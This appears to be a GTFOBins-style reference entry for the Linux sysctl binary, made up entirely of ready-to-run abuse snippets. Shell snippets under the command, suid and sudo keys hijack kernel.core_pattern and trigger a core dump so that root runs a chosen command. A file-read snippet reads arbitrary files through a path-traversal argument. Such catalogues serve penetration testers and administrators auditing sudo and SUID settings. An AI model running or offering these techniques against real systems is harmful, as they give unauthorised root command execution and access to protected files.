31 lines
914 B
Markdown
31 lines
914 B
Markdown
---
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functions:
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command:
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- description: The command is executed by root in the background when a core dump occurs.
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code: |
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COMMAND='/bin/sh -c id>/tmp/id'
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sysctl "kernel.core_pattern=|$COMMAND"
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sleep 9999 &
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kill -QUIT $!
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cat /tmp/id
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file-read:
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- description: The `-p` argument can also be used in place of `-n`. In both cases though the output might get corrupted, so this might not be suitable to read binary files.
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code: |
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LFILE=file_to_read
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/usr/sbin/sysctl -n "/../../$LFILE"
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suid:
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- code: |
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COMMAND='/bin/sh -c id>/tmp/id'
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./sysctl "kernel.core_pattern=|$COMMAND"
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sleep 9999 &
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kill -QUIT $!
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cat /tmp/id
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sudo:
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- code: |
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COMMAND='/bin/sh -c id>/tmp/id'
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sudo sysctl "kernel.core_pattern=|$COMMAND"
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sleep 9999 &
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kill -QUIT $!
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cat /tmp/id
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---
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